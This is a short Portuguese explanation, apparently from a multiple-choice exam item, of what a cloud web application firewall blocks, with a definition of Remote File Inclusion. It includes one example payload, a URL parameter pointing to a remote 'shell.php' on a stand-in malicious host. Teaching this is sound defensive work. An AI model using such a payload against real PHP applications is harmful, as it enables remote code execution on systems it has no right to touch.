Um firewall do tipo WAF oferecido por um provedor de serviç...

Um WAF (Web Application Firewall), como os oferecidos em serviços de nuvem (AWS WAF, Azure WAF, Cloudflare), possui regras predefinidas para bloquear tentativas de:

• RFI;
• SQL Injection;
• XSS;
• Command Injection;
• Path Traversal;
• File Inclusion (RFI/LFI).

Ele atua como uma barreira entre o cliente e o servidor, inspecionando requisições HTTP e bloqueando padrões maliciosos com base em assinaturas ou regras personalizadas.

Remote File Inclusion (RFI): Refere-se à inclusão remota de arquivos, usualmente através de scripts no servidores web. Isso é feito por meio de um parâmetro mal validado (ex: ?page=http://malicious-site.com/shell.php), que pode levar à execução arbitrária de código.

Uma causa comum pode ser o uso de include() ou require() em PHP com entrada de usuário sem validação adequada. Esse ataque permite que o atacante hospede um arquivo malicioso e o faça ser incluído e executado pela aplicação vulnerável.

b) SQL Injection

c) Session Hijacking

d) DoS (Denial of Service)

e) Cross-Site Scripting (XSS)